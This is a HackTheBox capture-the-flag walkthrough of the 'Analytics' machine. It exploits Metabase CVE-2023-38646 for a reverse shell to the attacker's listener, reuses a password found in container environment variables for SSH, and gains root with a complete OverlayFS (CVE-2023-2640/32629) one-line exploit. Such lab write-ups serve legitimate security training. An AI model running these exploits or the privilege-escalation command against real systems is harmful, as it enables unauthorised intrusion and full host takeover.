index-logo

Analytics - HTB

walkthrough by elswix

Machine: Analytics
Difficulty: Easy
Platform: HackTheBox
Release: Released on 10/07/2023

About Analytics


Analytics is an easy machine on HackTheBox. Firstly, we'll exploit a vulnerable version of Metabase to achieve command execution on the victim machine, thereby allowing us to gain access to a container.


Shell as metalytics


Enumerating the environment variables on the container, we obtain valid credentials for metalytics. We use these credentials to gain access to the actual system via SSH.


Shell as root


Taking a look at the mounts, we notice that Docker is using OverlayFS. Since the kernel is vulnerable, we exploit OverlayFS to achieve code execution as root.


Notice:


You may encounter some issues when running the port scan, as it probably won't report port 22 as open when the machine starts (at least in my experience). I had to wait a few minutes until the port was opened. However, this port is not necessary for the initial foothold, but we'll use it at some point during the machine's exploitation.


Recon


Initially, we'll conduct a port scan to discover open ports on the victim machine:


elswix@ubuntu$ nmap --open 10.10.11.233 --min-rate 1000

Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.16s latency).
Not shown: 985 closed tcp ports (conn-refused), 13 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

HTTP Service - Port 80


As we lack valid credentials, we're unable to connect to the SSH Service. Therefore, we'll begin enumerating the HTTP Service hosted on port 80.


Upon sending a GET request to the victim's IP address, I observed that there is a redirect:


elswix@ubuntu$ curl -s 10.10.11.233
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

Taking a look at the response headers, I noticed that we're being redirected to a new domain:


elswix@ubuntu$ curl -s 10.10.11.233 -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Mar 2024 13:58:35 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://analytical.htb/
elswix@ubuntu$

To enable domain resolution, I'll add it to my hosts file and point it to the victim's IP address.


elswix@ubuntu$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   Hackency

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.11.233 analytical.htb

Now, the domain is resolving correctly:


elswix@ubuntu$ curl -s 10.10.11.233 -I -L
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Mar 2024 14:03:27 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://analytical.htb/

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Mar 2024 14:03:28 GMT
Content-Type: text/html
Content-Length: 17169
Last-Modified: Fri, 25 Aug 2023 15:24:42 GMT
Connection: keep-alive
ETag: "64e8c7ba-4311"
Accept-Ranges: bytes
elswix@ubuntu$

When accessing the website through our browser, we'll encounter the following:



It's a static page with nothing relevant at the moment. However, when hovering over the Login hyperlink, you can observe that it redirects to a new subdomain:



I'll add it to my hosts file:


elswix@ubuntu$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   Hackency

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.11.233 analytical.htb data.analytical.htb
elswix@ubuntu$

When accessing data.analytical.htb, we encounter the following content:



This is the Metabase authentication panel. Metabase is an open-source data analytics platform.


Upon searching for Metabase-related vulnerabilities, I came across the CVE-2023-38646 vulnerability. NVD describes this vulnerability as an unauthenticated remote code execution (RCE) vulnerability. As you can imagine, vulnerabilities of this type are categorized as Critical.


If the running version is vulnerable, we could potentially achieve arbitrary code execution, allowing us to gain access to the system.


This article states: "The root cause of this vulnerability is that the setup token is not cleared after the setup is completed. This allows an unauthenticated attacker to obtain the setup token and utilize it to execute commands on the target remotely."


After looking for exploits I found this one by securezeron. I'll clone the github repo:


elswix@ubuntu$ git clone https://github.com/securezeron/CVE-2023-38646
Cloning into 'CVE-2023-38646'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 15 (delta 1), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), 5.70 KiB | 5.70 MiB/s, done.
Resolving deltas: 100% (1/1), done.
elswix@ubuntu$ cd CVE-2023-38646

After examining the source code, we notice that it will send us a reverse shell.



Using this exploit is very straightforward:


elswix@ubuntu$ python3 CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]

Check setup token

options:
  -h, --help     show this help message and exit
  --rhost RHOST  Metabase server IP address (including http:// or https:// and port number if needed)
  --lhost LHOST  Listener IP address
  --lport LPORT  Listener port (default is 4444)
elswix@ubuntu$

We need to specify the remote host, i.e., data.analytical.htb, the local host, and the local port, essentially our attacker's IP address and the port we'll be listening on with netcat.


Before running this exploit, I'll set up my netcat listener on port 3001:


elswix@ubuntu$ nc -lvnp 3001
Listening on 0.0.0.0 3001

Finally, let's run the exploit:


elswix@ubuntu$ python3 CVE-2023-38646-Reverse-Shell.py --rhost 'http://data.analytical.htb' --lhost 10.10.16.5 --lport 3001
[DEBUG] Original rhost: http://data.analytical.htb
[DEBUG] Preprocessed rhost: http://data.analytical.htb
...[snip]...
        },
        "name": "test",
        "engine": "h2"
    }
}
...[snip]...
[DEBUG] POST to http://data.analytical.htb/api/setup/validate failed with status code: 400
elswix@ubuntu$

And on netcat, we successfully received the reverse shell:


elswix@ubuntu$ nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 10.10.11.233 35038
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
701b9ace9dee:/$ whoami
whoami
metabase
701b9ace9dee:/$

It seems that we gained access to a container:


701b9ace9dee:/$ hostname
hostname
701b9ace9dee
701b9ace9dee:/$

Shell as metalytics


When examining the environment variables using env, we notice something quite interesting:


701b9ace9dee:/$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=9af62382354a
...[snip]...
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
...[snip]...
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
701b9ace9dee:/$

As you can see, there are credentials stored in the environment variables. Since port 22 is open on the victim machine, I'll attempt to connect to the SSH service using these credentials.


elswix@ubuntu$ sshpass -p 'An4lytics_ds20223#' ssh metalytics@10.10.11.233
...[snip]...
metalytics@analytics:~$

Great! Those credentials are valid for SSH, so we've gained access to the system as metalytics. Furthermore, we're on the actual machine, not inside a container.


metalytics@analytics:~$ export TERM=xterm-256color
metalytics@analytics:~$ . ~/.bashrc
metalytics@analytics:~$ hostname
analytics
metalytics@analytics:~$

We can read user.txt:


metalytics@analytics:~$ cat user.txt
de89c******************37449b8d5
metalytics@analytics:~$

As metalytics, we don't have sudo privileges:


metalytics@analytics:~$ sudo -l
[sudo] password for metalytics: 
Sorry, user metalytics may not run sudo on localhost.
metalytics@analytics:~$

Metalytics does not belong to any special group.


metalytics@analytics:~$ id
uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics)
metalytics@analytics:~$

There are no intriguing Set-UID files:


metalytics@analytics:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
metalytics@analytics:~$

Shell as root


As there are containers, it's worth checking mounted folders. To do so, we use the mount command:


metalytics@analytics:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime,hidepid=invisible)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1933192k,nr_inodes=483298,mode=755,inode64)
...[snip]...
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
overlay on /var/lib/docker/overlay2/57ff81ea0dda5af21d8d87d5ba70ea41b317dc7fcadd8ecdfdc193faf060589f/merged type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/B2OB4ZRBAC4CJRPOY7QPRMR4JA:/var/lib/docker/overlay2/l/XW5JTCT2MPEXHQG7MOTAI2T4KP:/var/lib/docker/overlay2/l/NFDWLGW3V3JHKDMCSIVCIGFRMU:/var/lib/docker/overlay2/l/MW4MXSGOUKAHBMLEMZ4WR4K7P2:/var/lib/docker/overlay2/l/AT6LTLZWU4G7MV5NOTUEB7AR4N:/var/lib/docker/overlay2/l/E6VXP5EJLZW24GE2AHMELF7FTD:/var/lib/docker/overlay2/l/3BARVZES6SW2GPRYNNYXZNM63J:/var/lib/docker/overlay2/l/JMBR2L6LC7K3O6CZHA24AF2CYR:/var/lib/docker/overlay2/l/PMQWGTOJEKRSOK2OV65KQJBDQY:/var/lib/docker/overlay2/l/L7Y5QRKKSPELNF2AUJ55RR2MV5:/var/lib/docker/overlay2/l/RO73TCQC6F7YHICLAOSVCCNSQ6,upperdir=/var/lib/docker/overlay2/57ff81ea0dda5af21d8d87d5ba70ea41b317dc7fcadd8ecdfdc193faf060589f/diff,workdir=/var/lib/docker/overlay2/57ff81ea0dda5af21d8d87d5ba70ea41b317dc7fcadd8ecdfdc193faf060589f/work)
nsfs on /run/docker/netns/00d3394801ff type nsfs (rw)
tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=400128k,nr_inodes=100032,mode=700,uid=1000,gid=1000,inode64)
metalytics@analytics:~$

GameOver(lay) - CVE-2023-2640 & CVE-2023-32629


Overlay is a union mount filesystem that allows merging two separate filesystems into a single unified view. It operates by overlaying one filesystem onto another, with the lower filesystem serving as the base and the upper filesystem providing the modifications or changes.


While searching for OverlayFS vulnerabilities, I came across two issues that allow for local privilege escalation. Both vulnerabilities, CVE-2023-2640 and CVE-2023-32629, facilitate local privilege escalation, enabling an unprivileged user to attain elevated privileges on the system.


I found this repository which includes a proof of concept (POC) for this vulnerability. It also contains a list of vulnerable kernel versions:



Looking at the kernel version of Analytics, we observe that it is vulnerable.


metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
metalytics@analytics:~$

The exploit consists of only a command:


unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

I modified it slightly to obtain a bash shell:


metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@analytics:~#

As you can see, it worked, and now we have root access on Analytics.


root@analytics:~# whoami
root
root@analytics:~# id
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)
root@analytics:~#

Finally, we can read root.txt:


root@analytics:~# cd /root
root@analytics:/root# cat root.txt
5f558********************e2de473
root@analytics:/root#